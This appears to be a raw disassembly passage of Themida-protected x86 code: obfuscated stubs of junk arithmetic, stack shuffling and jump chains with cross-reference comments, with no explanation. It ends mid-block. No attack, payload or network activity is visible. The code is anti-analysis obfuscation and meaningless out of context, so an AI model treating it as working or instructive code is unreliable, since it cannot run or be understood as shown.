xor ecx, 2DB73B12h
push ebx
mov ebx, 1EE75738h
sub ebx, 73566C5Dh
not ebx
sub ebx, 6FAB181Ah
sub ebx, 99F6DDBDh
sub ecx, ebx
pop ebx
xor ecx, 46E40F41h
inc ecx
sub ecx, 4EB1349Dh
add esi, ecx
pop ecx
push 728Ah
mov [esp], edx
push 74E7h
mov [esp], esi
mov esi, 6BED3B95h
push edi
jmp loc_59E079
; ---------------------------------------------------------------------------
loc_59AAE4: ; CODE XREF: Themida_:0059818Cj
push dword ptr [esp+4]
mov ecx, [esp]
jmp loc_597CD2
; ---------------------------------------------------------------------------
loc_59AAF0: ; CODE XREF: Themida_:0059A838j
pop ebp
add ebp, 4
sub ebp, 4
push ebp
push dword ptr [esp+4]
jmp loc_59F921
; ---------------------------------------------------------------------------
loc_59AB04: ; CODE XREF: Themida_:005A6C42j
pop edx
and edx, 625062C0h
and edx, 4E6C0CAEh
inc edx
push ecx
push ebp
mov ebp, 2E876390h
mov ecx, 91389C11h
xor ecx, ebp
pop ebp
add edx, ecx
pop ecx
mov ebp, edx
jmp loc_59846D
; ---------------------------------------------------------------------------
loc_59AB2B: ; CODE XREF: Themida_:0059E005j
pop ecx
mov edx, [esp]
add esp, 4
pop ecx
push esi
jmp loc_5A1C4B
; ---------------------------------------------------------------------------
loc_59AB3C: ; CODE XREF: Themida_:005A2064j
xchg ebx, ebp
inc ebx
push 7242h
mov [esp], ebp
push ebx
pop ebp
pop ebx
push 712Eh
mov [esp], ebx
jmp loc_5A392E
; ---------------------------------------------------------------------------
loc_59AB57: ; CODE XREF: Themida_:0059CA65j
mov [esp], edx
mov edx, 0CE56045h
add ebx, edx
mov edx, [esp]
add esp, 4
jmp loc_599A9E
; ---------------------------------------------------------------------------
loc_59AB6F: ; CODE XREF: Themida_:005A99F2j
xor eax, ecx
xor eax, ecx
xor ecx, eax
xor eax, ecx
jmp loc_5A1682
; ---------------------------------------------------------------------------
loc_59AB7C: ; CODE XREF: Themida_:0059DC42j
push edi
mov edi, esp
push edx
jmp loc_59AD33
; ---------------------------------------------------------------------------
loc_59AB85: ; CODE XREF: Themida_:005A012Fj
mov dh, bl
pop ebx
push 40F7h
jmp loc_59F3C0
; ---------------------------------------------------------------------------
loc_59AB92: ; CODE XREF: Themida_:00598ADEj
mov [esp], eax
push edx
mov dl, 23h
push ecx
mov ch, dl
push ebx
jmp loc_597458
; ---------------------------------------------------------------------------
loc_59ABA1: ; CODE XREF: Themida_:005A14B1j
sub esp, 4
mov [esp], edx
mov edx, 4FED3019h
sub ebp, edx
jmp loc_59D6F1
; ---------------------------------------------------------------------------
loc_59ABB6: ; CODE XREF: Themida_:005A2871j
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_59714C
; ---------------------------------------------------------------------------
loc_59ABC7: ; CODE XREF: Themida_:0059F5D0j
add esp, 4
xchg esi, [esp]
pop esp
mov [esp], edi
jmp loc_59C3FE
; ---------------------------------------------------------------------------
loc_59ABD6: ; CODE XREF: Themida_:0059C62Fj
add esi, eax
jmp loc_59BAB4
; ---------------------------------------------------------------------------
loc_59ABDD: ; CODE XREF: Themida_:0059DCCFj
and edi, 5ECE3EF7h
sub edi, 0FFFFFFFFh
jmp loc_5A145A
; ---------------------------------------------------------------------------
loc_59ABEB: ; CODE XREF: Themida_:005A722Aj
dec ebx
jmp loc_598F1E
; ---------------------------------------------------------------------------
loc_59ABF1: ; CODE XREF: Themida_:0059A3C0j
add edx, 4
xchg edx, [esp]
pop esp
sub edx, ebp
pop ebp
add ebx, edx
jmp loc_59FB49
; ---------------------------------------------------------------------------
loc_59AC05: ; CODE XREF: Themida_:005976EBj
add ecx, 4
add ecx, 4
jmp loc_59982E
; ---------------------------------------------------------------------------
loc_59AC13: ; CODE XREF: Themida_:005995EAj
mov edi, 2DAF7384h
sub dword ptr [esp+8], 692B21DEh
jmp loc_5AB497
; ---------------------------------------------------------------------------
loc_59AC25: ; CODE XREF: Themida_:005AA244j
mov edx, 4
jmp loc_5965FD
; ---------------------------------------------------------------------------
loc_59AC2F: ; CODE XREF: Themida_:005975F3j
mov ecx, edi
jmp loc_59A6F8
; ---------------------------------------------------------------------------
loc_59AC36: ; CODE XREF: Themida_:0059F8DDj
add esi, 52118391h
add ebp, esi
pop esi
pop edi
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
jmp loc_5A80C5
; ---------------------------------------------------------------------------
loc_59AC51: ; CODE XREF: Themida_:005A0B7Cj
sub ebx, 798C1D68h
add ebx, ecx
add ebx, 798C1D68h
mov ecx, [esp]
add esp, 4
jmp loc_5A97C8
; ---------------------------------------------------------------------------
loc_59AC6A: ; CODE XREF: Themida_:005A0DEEj
add esi, ebx
sub esi, 0F552FD0h
pop ebx
xchg esi, [esp]
jmp loc_59E732
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
mov eax, esp
add eax, 4
push 1004h
mov [esp], ebp
mov ebp, 4
sub eax, ebp
pop ebp
push eax
jmp loc_596EB9
; ---------------------------------------------------------------------------
loc_59AC9D: ; CODE XREF: Themida_:005A858Aj
add ecx, edx
jmp loc_59E835
; ---------------------------------------------------------------------------
loc_59ACA4: ; CODE XREF: Themida_:005A75D3j
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
mov eax, [esp]
push 7298h
mov [esp], eax
push esp
pop eax
add eax, 4
add eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
jmp loc_5A9432
; ---------------------------------------------------------------------------
loc_59ACDA: ; CODE XREF: Themida_:005A577Cj
mov eax, 63C97B9Eh
jmp loc_5989C0
; ---------------------------------------------------------------------------
loc_59ACE4: ; CODE XREF: Themida_:005985C7j
add eax, 4
sub eax, 4
xchg eax, [esp]
jmp loc_5A30B3
; ---------------------------------------------------------------------------
loc_59ACF4: ; CODE XREF: Themida_:0059C380j
sub ebp, edx
pop edx
xor esi, ebp
pop ebp
mov ebx, [esp]
add esp, 4
add ebp, esi
mov esi, [esp]
jmp loc_5982BB
; ---------------------------------------------------------------------------
loc_59AD0A: ; CODE XREF: Themida_:0059E8DAj
add edi, 21723875h
xor edi, 648A15E7h
push edx
mov edx, 4D06BD7h
neg edx
inc edx
add edx, 3222BDABh
sub edi, edx
pop edx
add edi, 250E2EF5h
jmp loc_59FA9C
; ---------------------------------------------------------------------------
loc_59AD33: ; CODE XREF: Themida_:0059AB80j
mov edx, 56C46691h
neg edx
add edx, 1
xor edx, 0A93B9974h
add edi, edx
mov edx, [esp]
add esp, 4
add edi, 4
jmp loc_599E05
; ---------------------------------------------------------------------------
loc_59AD59: ; CODE XREF: Themida_:00597961j
push eax
mov eax, esp
jmp loc_5A1A88
; ---------------------------------------------------------------------------
loc_59AD61: ; CODE XREF: Themida_:0059D33Dj
xor ecx, 98E73C1h
shl ecx, 8
xor ecx, 3281456Dh
jmp loc_5A83B3
; ---------------------------------------------------------------------------
mov ecx, esp
push eax
mov eax, 344B1890h
jmp loc_5A5862
; ---------------------------------------------------------------------------
loc_59AD82: ; CODE XREF: Themida_:005AABF8j
mov eax, edi
jmp loc_597716
; ---------------------------------------------------------------------------
loc_59AD89: ; CODE XREF: Themida_:005A2557j
mov ecx, esp
add ecx, 4
push edi
mov edi, 65510C4h
not edi
jmp loc_5988D5
; ---------------------------------------------------------------------------
loc_59AD9E: ; CODE XREF: Themida_:0059747Ej
mov [esp], ecx
mov ecx, edi
push ecx
mov edx, [esp]
jmp loc_5A11CF
; ---------------------------------------------------------------------------
loc_59ADAC: ; CODE XREF: Themida_:00599891j
pop edi
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_5A5281
; ---------------------------------------------------------------------------
loc_59ADC2: ; CODE XREF: Themida_:005A2946j
mov ebx, [esp]
add esp, 4
jmp loc_5AA85C
; ---------------------------------------------------------------------------
loc_59ADCD: ; CODE XREF: Themida_:0059B888j
shr esi, 4
xor esi, 0C22C4AFh
mov eax, esi
pop esi
add ecx, 7B963369h
add ecx, eax
sub ecx, 7B963369h
pop eax
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
jmp loc_5A106E
; ---------------------------------------------------------------------------
loc_59ADF7: ; CODE XREF: Themida_:005A48F5j
pop edx
push esi
mov esi, esp
add esi, 4
jmp loc_5A1508
; ---------------------------------------------------------------------------
loc_59AE06: ; CODE XREF: Themida_:005A300Cj
dec eax
push edx
mov edx, 74A8228Ah
or edx, 26FF3BBAh
neg edx
jmp loc_59F046
; ---------------------------------------------------------------------------
loc_59AE1A: ; CODE XREF: Themida_:005A93A0j
mov [esp], ecx
jmp loc_59BAF1
; ---------------------------------------------------------------------------
loc_59AE22: ; CODE XREF: Themida_:005AAA66j
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
add esp, 4
mov ebx, [esp]
jmp loc_5A6672
; ---------------------------------------------------------------------------
loc_59AE3E: ; CODE XREF: Themida_:005A5C3Fj
mov ebp, [esp]
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
jmp loc_5A2460
; ---------------------------------------------------------------------------
loc_59AE58: ; CODE XREF: Themida_:0059E4A7j
add esp, 4
sub al, 53h
add al, bh
add al, 53h
mov ebx, [esp]
add esp, 4
push ebx
mov bh, 0A4h
sub bh, 0E5h
jmp loc_598441
; ---------------------------------------------------------------------------
loc_59AE78: ; CODE XREF: Themida_:005A596Bj
add esi, ebx
mov ebx, [esp]
add esp, 4
xor esi, [esp]
jmp loc_59916A
; ---------------------------------------------------------------------------
loc_59AE8B: ; CODE XREF: Themida_:0059B0EBj
push ebx
push ecx
push 1A7D15DFh
pop ecx
push 4EAFh
mov [esp], edi
mov edi, 1F7853E5h
jmp loc_5A6FF6
; ---------------------------------------------------------------------------
loc_59AEA5: ; CODE XREF: Themida_:005A43D6j
push dword ptr [esp]
mov esi, [esp]
jmp loc_5A29A1
; ---------------------------------------------------------------------------
loc_59AEB0: ; CODE XREF: Themida_:005A3186j
add edi, 4
sub edi, 4
jmp loc_59614A
; ---------------------------------------------------------------------------
loc_59AEBE: ; CODE XREF: Themida_:005A8F99j
mov esi, [esp]
add esp, 4
sub ebx, 697C55D5h
jmp loc_5A3579
; ---------------------------------------------------------------------------
loc_59AED2: ; CODE XREF: Themida_:005A219Cj
mov ah, 86h
mov ch, 57h
jmp loc_5A0E34
; ---------------------------------------------------------------------------
loc_59AEDB: ; CODE XREF: Themida_:005A3BEFj
push 7FBDh
mov [esp], ebp
mov ebp, 31D0371Dh
dec ebp
and ebp, 11ED3387h
jmp loc_59E194
; ---------------------------------------------------------------------------
loc_59AEF4: ; CODE XREF: Themida_:005A0333j
sub esp, 4
jmp loc_5A8232
; ---------------------------------------------------------------------------
loc_59AEFF: ; CODE XREF: Themida_:005A9FBCj
mov bh, 0A2h
jmp loc_59DF06
; ---------------------------------------------------------------------------
loc_59AF06: ; CODE XREF: Themida_:0059E61Aj
mov ebx, [esp]
add esp, 4
loc_59AF0C: ; CODE XREF: Themida_:0059D612j
; Themida_:005AA0A6j
sub esp, 4
mov [esp], esi
push esi
push esp
jmp loc_59DA1E
; ---------------------------------------------------------------------------
loc_59AF1C: ; CODE XREF: Themida_:005A9B7Cj
mov ecx, edi
pop edi
pop ebx
add eax, ecx
mov ecx, [esp]
jmp loc_5A6E60
; ---------------------------------------------------------------------------
loc_59AF2A: ; CODE XREF: Themida_:0059715Cj
pop edx
pop dword ptr [esp]
pop esp
shr eax, 8
xor eax, ecx
push 6327h
mov [esp], eax
xchg esi, [esp]
push 7FDEh
mov [esp], esi
push ebp
push dword ptr [esp]
pop esi
add esp, 4
mov ebp, [esp]
add esp, 4
xchg esi, ebp
xchg ecx, esi
jmp loc_5A2A7C
; ---------------------------------------------------------------------------
loc_59AF5E: ; CODE XREF: Themida_:0059776Bj
sub bl, 0F9h
sub bl, 0D6h
add al, 0F4h
sub al, 0Ah
sub al, 77h
add al, bl
add al, 77h
add al, 0Ah
sub al, 0F4h
mov ebx, [esp]
add esp, 4
sub al, 0EBh
sub al, bl
push small 33E7h
mov [esp], dx
mov dl, 0EBh
jmp loc_5A0BD0
; ---------------------------------------------------------------------------
loc_59AF8B: ; CODE XREF: Themida_:00596D13j
mov esp, [esp]
sub eax, 5873651h
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_59F9E0
; ---------------------------------------------------------------------------
loc_59AFAB: ; CODE XREF: Themida_:0059DF92j
add dl, 67h
jmp loc_59E2F3
; ---------------------------------------------------------------------------
loc_59AFB3: ; CODE XREF: Themida_:005A7E4Cj
or bl, 9Dh
neg bl
inc bl
xor bl, 0C6h
jmp loc_5AB395
; ---------------------------------------------------------------------------
loc_59AFC2: ; CODE XREF: Themida_:005A0912j
mov ecx, 3EC108DEh
not ecx
xor ecx, 1BAE1D04h
not ecx
dec ecx
xor ecx, 5D621371h
jmp loc_5981F4
; ---------------------------------------------------------------------------
loc_59AFDD: ; CODE XREF: Themida_:005A7606j
xor edx, 1C503E75h
jmp loc_5A2BDC
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp], eax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59AFF6: ; CODE XREF: Themida_:0059F48Cj
mov [esp], edi
mov edi, esp
add edi, 4
add edi, 4
push 3ECDh
jmp loc_5A70DC
; ---------------------------------------------------------------------------
loc_59B011: ; CODE XREF: Themida_:0059EE05j
pop esp
mov [esp], ebp
not dword ptr [esp]
jmp loc_5AAF47
; ---------------------------------------------------------------------------
loc_59B01D: ; CODE XREF: Themida_:005A1792j
pop ebp
jmp loc_5A37C4
; ---------------------------------------------------------------------------
loc_59B023: ; CODE XREF: Themida_:0059CE97j
xchg eax, [esp]
pop esp
mov [esp], ebp
mov ebp, 773E1827h
push edi
mov edi, 773E1823h
sub ebp, edi
jmp loc_59CFD5
; ---------------------------------------------------------------------------
loc_59B03C: ; CODE XREF: Themida_:0059A718j
pop ax
sub ax, 1
jmp loc_59B5EF
; ---------------------------------------------------------------------------
loc_59B047: ; CODE XREF: Themida_:005AB14Dj
and bl, al
pop eax
push eax
push ecx
jmp loc_5A8E37
; ---------------------------------------------------------------------------
loc_59B051: ; CODE XREF: Themida_:005AB260j
xor ebp, 0FC8D1A28h
jmp loc_599720
; ---------------------------------------------------------------------------
loc_59B05C: ; CODE XREF: Themida_:005992AFj
add eax, 4
sub esp, 4
mov [esp], edi
sub esp, 4
mov [esp], esi
mov esi, 326F3DB8h
push esi
dec dword ptr [esp]
jmp loc_5A957C
; ---------------------------------------------------------------------------
loc_59B07E: ; CODE XREF: Themida_:005A04BDj
mov [esp], esi
jmp loc_5973DD
; ---------------------------------------------------------------------------
loc_59B086: ; CODE XREF: Themida_:005A00B9j
mov [esp], ebx
mov ebx, 2
jmp loc_59DFB5
; ---------------------------------------------------------------------------
loc_59B093: ; CODE XREF: Themida_:00596E0Fj
pop ebp
push eax
jmp loc_59C06D
; ---------------------------------------------------------------------------
loc_59B09A: ; CODE XREF: Themida_:005A26C3j
and ebx, esi
pop esi
sub ebx, 0F628664Ah
jmp loc_5A87C6
; ---------------------------------------------------------------------------
loc_59B0A8: ; CODE XREF: Themida_:00599528j
sub ebx, edx
pop edx
add ebx, edi
jmp loc_59EB89
; ---------------------------------------------------------------------------
loc_59B0B2: ; CODE XREF: Themida_:005A0B61j
push dword ptr [esp]
pop eax
add esp, 4
shl edx, 2
not edx
not edx
push eax
mov eax, 3C5BD02Ch
xor edx, eax
jmp loc_5A65E3
; ---------------------------------------------------------------------------
loc_59B0D0: ; CODE XREF: Themida_:005A7B43j
add al, 0F1h
add al, 9Eh
pop bx
push ebx
mov bh, 0D8h
jmp loc_5A0081
; ---------------------------------------------------------------------------
loc_59B0DE: ; CODE XREF: Themida_:00596AEEj
sub ebp, ecx
push dword ptr [esp]
pop ecx
jmp loc_59A8B7
; ---------------------------------------------------------------------------
lodsd
push ecx
jmp loc_59AE8B
; ---------------------------------------------------------------------------
loc_59B0F0: ; CODE XREF: Themida_:005A169Cj
push 3AC3h
mov [esp], edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5A7353
; ---------------------------------------------------------------------------
loc_59B107: ; CODE XREF: Themida_:00597654j
sub esp, 4
mov [esp], ebx
mov ebx, 6D983722h
not ebx
jmp loc_59FD61
; ---------------------------------------------------------------------------
loc_59B119: ; CODE XREF: Themida_:005A7076j
push eax
mov eax, 4
jmp loc_5A15B2
; ---------------------------------------------------------------------------
loc_59B124: ; CODE XREF: Themida_:005A0F85j
add ebp, 0BE3FFBF9h
mov ecx, ebp
pop ebp
sub esp, 4
mov [esp], edx
mov edx, 23E8270Ah
push 1D91h
mov [esp], ebx
mov ebx, 490B2D74h
sub ebx, 6D557C9Eh
sub edx, ebx
pop ebx
jmp loc_59A37A
; ---------------------------------------------------------------------------
loc_59B156: ; CODE XREF: Themida_:005A7D4Aj
sub edi, 27D9D322h
jmp loc_59CB71
; ---------------------------------------------------------------------------
loc_59B161: ; CODE XREF: Themida_:0059A4D5j
add edx, ebx
push edi
mov edi, 412755FDh
inc edi
jmp loc_5A53DC
; ---------------------------------------------------------------------------
loc_59B16F: ; CODE XREF: Themida_:005A033Bj
pop edi
push 0E3Fh
mov [esp], esi
push esp
pop esi
jmp loc_5A03AC
; ---------------------------------------------------------------------------
loc_59B17F: ; CODE XREF: Themida_:005A4911j
push esi
jmp loc_59CE2E
; ---------------------------------------------------------------------------
loc_59B185: ; CODE XREF: Themida_:005985BBj
sub eax, 584769CBh
pop ebx
xor eax, [esp]
jmp loc_5A7FE5
; ---------------------------------------------------------------------------
loc_59B193: ; CODE XREF: Themida_:005A159Cj
pop edx
xor edx, 6ED224Ah
pop ecx
sub eax, 68A37AB6h
jmp loc_59F519
; ---------------------------------------------------------------------------
loc_59B1A5: ; CODE XREF: Themida_:005A494Ej
add edx, 77F12EB2h
not edx
jmp loc_5A164D
; ---------------------------------------------------------------------------
loc_59B1B2: ; CODE XREF: Themida_:0059FD9Cj
push ecx
mov ecx, 66F02560h
and ecx, 3B06057Dh
not ecx
neg ecx
push eax
mov eax, 0F9B6BC69h
sub ecx, eax
pop eax
and eax, ecx
pop ecx
neg eax
sub esp, 4
mov [esp], edi
push 5024h
mov [esp], edx
mov edx, 52AA6063h
mov edi, 0AD15DFAFh
xor edi, edx
pop edx
xor eax, edi
pop edi
sub esi, 716C7943h
add esi, eax
add esi, 716C7943h
jmp loc_5A7280
; ---------------------------------------------------------------------------
loc_59B201: ; CODE XREF: Themida_:0059E203j
mov eax, esp
jmp loc_59D866
; ---------------------------------------------------------------------------
loc_59B208: ; CODE XREF: Themida_:005A59B7j
push ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ecx
add ecx, 4
push 78B0h
mov [esp], ebp
mov ebp, 4
jmp loc_5A0F4D
; ---------------------------------------------------------------------------
loc_59B232: ; CODE XREF: Themida_:005A158Fj
sub bl, 70h
push dword ptr [esp]
pop edx
add esp, 4
add bl, 30h
movzx eax, al
mov dx, [esp]
push edi
push 4CFEh
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
push 49h
mov [esp], edx
mov edx, 4
push edx
pop ebp
pop edx
push ecx
jmp loc_5A3C48
; ---------------------------------------------------------------------------
loc_59B282: ; CODE XREF: Themida_:00597C4Aj
mov ecx, [esp]
add esp, 4
push ebp
push 5519h
mov [esp], esp
jmp loc_5A9333
; ---------------------------------------------------------------------------
loc_59B296: ; CODE XREF: Themida_:005A585Dj
mov [esp], eax
mov ah, dl
dec ah
jmp loc_5AA2A1
; ---------------------------------------------------------------------------
loc_59B2A2: ; CODE XREF: Themida_:005A0627j
xor edi, 745F53FBh
sub eax, edi
pop edi
pop ecx
or edi, eax
mov eax, [esp]
add esp, 4
sub edi, 1
shl edi, 4
sub edi, 0D0D13B66h
xor eax, edi
jmp loc_5A3BE6
; ---------------------------------------------------------------------------
loc_59B2C7: ; CODE XREF: Themida_:005A6D76j
xor ebx, [esp]
pop esp
jmp loc_598C8C
; ---------------------------------------------------------------------------
loc_59B2D0: ; CODE XREF: Themida_:005A0960j
or edi, 1964626Eh
xor edi, 43425F6h
sub edi, 0BDF13ADFh
add esi, edi
pop edi
mov edi, [esp]
add esp, 4
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_596372
; ---------------------------------------------------------------------------
loc_59B2F7: ; CODE XREF: Themida_:005A6AA8j
add [esp], al
pushf
jmp loc_59783D
; ---------------------------------------------------------------------------
loc_59B300: ; CODE XREF: Themida_:005987DBj
mov [esp], edx
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59B308: ; CODE XREF: Themida_:005A1299j
push dword ptr [esp]
jmp loc_598F5A
; ---------------------------------------------------------------------------
loc_59B310: ; CODE XREF: Themida_:005A7BCAj
xor eax, 0BC5CCD12h
add ebx, eax
pop eax
inc ebx
dec ebx
or ebx, 29160C26h
shr ebx, 1
add ebx, 88005887h
jmp loc_59D8A3
; ---------------------------------------------------------------------------
loc_59B32D: ; CODE XREF: Themida_:005A2050j
add esp, 4
pop dword ptr [esp]
pop esp
xor [esp], eax
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59B33C: ; CODE XREF: Themida_:0059F27Cj
push edx
mov edx, 68D21E69h
jmp loc_5A5870
; ---------------------------------------------------------------------------
loc_59B347: ; CODE XREF: Themida_:005A99B1j
shr edx, 7
jmp loc_598C15
; ---------------------------------------------------------------------------
loc_59B34F: ; CODE XREF: Themida_:0059A9BAj
mov ecx, [esp]
add esp, 4
jmp loc_5A38C6
; ---------------------------------------------------------------------------
loc_59B35D: ; CODE XREF: Themida_:005A341Dj
or ebx, edi
pop edi
sub ebx, 1648E21Ah
jmp loc_5A9A1B
; ---------------------------------------------------------------------------
loc_59B36B: ; CODE XREF: Themida_:005A3271j
xchg ecx, [esp]
pop esp
jmp loc_59DC5E
; ---------------------------------------------------------------------------
loc_59B374: ; CODE XREF: Themida_:005A15ADj
xchg ebx, [esp]
mov esp, [esp]
push 14FAh
mov [esp], ecx
push edx
jmp loc_59F3E6
; ---------------------------------------------------------------------------
loc_59B388: ; CODE XREF: Themida_:0059CA41j
pop ecx
xchg esi, [esp]
mov esp, [esp]
mov ax, [esp]
push eax
mov eax, esp
add eax, 4
push 2310h
mov [esp], ebx
mov ebx, 4
sub eax, ebx
pop ebx
xchg eax, [esp]
jmp loc_5A7B9E
; ---------------------------------------------------------------------------
loc_59B3B3: ; CODE XREF: Themida_:005A5B42j
mov [esp], eax
sub esp, 4
mov [esp], esi
push 6371210h
pop esi
not esi
push esi
not dword ptr [esp]
pop esi
push ebx
jmp loc_59D8EB
; ---------------------------------------------------------------------------
loc_59B3D2: ; CODE XREF: Themida_:0059A666j
add edx, 4
jmp loc_59FA78
; ---------------------------------------------------------------------------
loc_59B3DD: ; CODE XREF: Themida_:005973F6j
mov ecx, 1A005DC5h
mov eax, 137E794Ah
not eax
shr eax, 3
shr eax, 8
sub eax, 714ED730h
push ecx
jmp loc_59CC27
; ---------------------------------------------------------------------------
loc_59B3FA: ; CODE XREF: Themida_:00596C89j
mov esi, 5BA91F93h
jmp loc_59BC06
; ---------------------------------------------------------------------------
loc_59B404: ; CODE XREF: Themida_:0059E573j
mov eax, 4
jmp loc_59D4AB
; ---------------------------------------------------------------------------
loc_59B40E: ; CODE XREF: Themida_:00596966j
add esi, 0C2AA6F59h
add eax, esi
pop esi
push dword ptr [esp]
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_5A3B6B
; ---------------------------------------------------------------------------
loc_59B429: ; CODE XREF: Themida_:0059DA11j
push edx
mov edx, 44547F3Fh
push esi
jmp loc_5AA382
; ---------------------------------------------------------------------------
loc_59B435: ; CODE XREF: Themida_:0059D0D3j
xchg ecx, [esp]
pop esp
mov [esp], eax
push ebp
mov ebp, 6FEA77EDh
not ebp
xor ebp, 208A49AEh
xor ebp, 0E461E2DAh
mov eax, ebp
pop ebp
add ebx, eax
pop eax
add ebx, ebp
jmp loc_5A0374
; ---------------------------------------------------------------------------
loc_59B45D: ; CODE XREF: Themida_:0059F399j
mov [esp], edx
push eax
mov al, 56h
jmp loc_5A4C82
; ---------------------------------------------------------------------------
loc_59B468: ; CODE XREF: Themida_:005A5C11j
xor eax, 0C610082Bh
jmp loc_5A199B
; ---------------------------------------------------------------------------
loc_59B472: ; CODE XREF: Themida_:005A0AA0j
sub esp, 4
mov [esp], ebp
mov ebp, 4
add ebx, ebp
jmp loc_5A94EF
; ---------------------------------------------------------------------------
loc_59B487: ; CODE XREF: Themida_:005A3977j
pop ebp
jmp loc_5A2AA1
; ---------------------------------------------------------------------------
loc_59B48D: ; CODE XREF: Themida_:005A5DA8j
mov [esp], ebp
mov ebp, 4
push eax
jmp loc_5A4C00
; ---------------------------------------------------------------------------
loc_59B49B: ; CODE XREF: Themida_:005A638Ej
sub edi, ecx
jmp loc_5A5FB3
; ---------------------------------------------------------------------------
loc_59B4A2: ; CODE XREF: Themida_:005991BDj
pop esp
mov [esp], ebp
jmp loc_5A066E
; ---------------------------------------------------------------------------
loc_59B4AB: ; CODE XREF: Themida_:0059CBD1j
xor ebx, 5FE15160h
inc ebx
shl ebx, 6
add ebx, 57E035DDh
add ebx, 346B52D2h
mov esi, ebx
pop ebx
jmp loc_59CE25
; ---------------------------------------------------------------------------
mov ax, [esp]
push 6A81h
mov [esp], edx
push 5986h
mov [esp], esp
add dword ptr [esp], 4
pop edx
add edx, 4
jmp loc_5A8E93
; ---------------------------------------------------------------------------
loc_59B4ED: ; CODE XREF: Themida_:005974BDj
xchg ecx, [esp]
pop esp
sub ax, bp
pop bp
jmp loc_5A2FD3
; ---------------------------------------------------------------------------
loc_59B4FB: ; CODE XREF: Themida_:005A58A7j
xchg esi, [esp]
not esi
xchg esi, [esp]
pop ecx
push edx
mov edx, 0FDFBD3E8h
xor ecx, edx
mov edx, [esp]
jmp loc_5A1368
; ---------------------------------------------------------------------------
loc_59B514: ; CODE XREF: Themida_:005A4D71j
sub ebp, 7BB745DDh
or ebp, 7BD76DDCh
add ebp, 7081323Ch
and esi, ebp
pop ebp
push esi
not dword ptr [esp]
mov esi, [esp]
add esp, 4
xor esi, 0B3249634h
mov edx, esi
pop esi
mov ebx, edx
pop edx
push 6496h
mov [esp], edi
push eax
mov eax, 56A60852h
jmp loc_5A86A4
; ---------------------------------------------------------------------------
loc_59B552: ; CODE XREF: Themida_:00597191j
add ecx, edi
sub ecx, 2B301F10h
pop edi
push ebp
push 2
pop ebp
add ecx, ebp
pop ebp
jmp loc_598C7C
; ---------------------------------------------------------------------------
loc_59B56A: ; CODE XREF: Themida_:00596AB0j
xor ebx, [esp]
mov esp, [esp]
push small 78F6h
mov [esp], dx
mov dh, 0A2h
jmp loc_5A66A8
; ---------------------------------------------------------------------------
loc_59B57F: ; CODE XREF: Themida_:005A5A63j
mov [esp], edx
mov dh, 6Bh
mov bh, 54h
not bh
neg bh
xor bh, 44h
add bh, dh
pop edx
jmp loc_5A3711
; ---------------------------------------------------------------------------
loc_59B595: ; CODE XREF: Themida_:00596204j
push dword ptr [esp]
mov edx, [esp]
jmp loc_59E462
; ---------------------------------------------------------------------------
loc_59B5A0: ; CODE XREF: Themida_:005A246Cj
push esp
jmp loc_5AA521
; ---------------------------------------------------------------------------
loc_59B5A6: ; CODE XREF: Themida_:0059630Cj
mov cl, 8Ah
inc cl
push cx
not byte ptr [esp]
pop cx
push ebx
mov bl, 0C2h
jmp loc_5A25C9
; ---------------------------------------------------------------------------
loc_59B5B9: ; CODE XREF: Themida_:00599FBCj
mov ebp, [esp]
add esp, 4
push ebp
mov ebp, 687C5C7Bh
shl ebp, 7
shl ebp, 5
and ebp, 4161029Dh
inc ebp
not ebp
jmp loc_5AAB1C
; ---------------------------------------------------------------------------
loc_59B5D9: ; CODE XREF: Themida_:005A958Fj
mov edi, esi
pop esi
sub eax, edi
pop edi
xchg eax, [esp]
pop esp
jmp loc_59F9A2
; ---------------------------------------------------------------------------
loc_59B5E8: ; CODE XREF: Themida_:005989C5j
sub ebx, eax
jmp loc_5A3FDC
; ---------------------------------------------------------------------------
loc_59B5EF: ; CODE XREF: Themida_:0059B042j
neg ax
inc ax
push ax
not word ptr [esp]
pop ax
push di
jmp loc_5AB287
; ---------------------------------------------------------------------------
loc_59B603: ; CODE XREF: Themida_:0059C6E4j
mov esi, [esp]
add esp, 4
push ebx
mov ebx, 4
jmp loc_5A5CF5
; ---------------------------------------------------------------------------
loc_59B614: ; CODE XREF: Themida_:005A71D5j
mov ecx, esp
add ecx, 4
push edx
mov edx, 7D12694Ah
add edx, 62026FB3h
add edx, 20EB2707h
sub ecx, edx
pop edx
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov [esp], ebp
push 3FCh
pop ebp
push edx
mov edx, 21D3644h
add edx, 20D809DDh
add edi, 217B08BFh
add edi, edx
jmp loc_5A14B6
; ---------------------------------------------------------------------------
loc_59B65F: ; CODE XREF: Themida_:005AB2A2j
mov di, [esp]
jmp loc_5A187E
; ---------------------------------------------------------------------------
loc_59B668: ; CODE XREF: Themida_:005A2179j
mov eax, ebx
jmp loc_5A77D1
; ---------------------------------------------------------------------------
loc_59B66F: ; CODE XREF: Themida_:005A6366j
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
jmp loc_597196
; ---------------------------------------------------------------------------
loc_59B67D: ; CODE XREF: Themida_:0059D467j
add ebp, edi
add ebp, 0A785D81h
pop edi
add ebp, esi
sub ebp, 587F6F7Ch
add ebp, 13865226h
pop esi
add ebp, 2
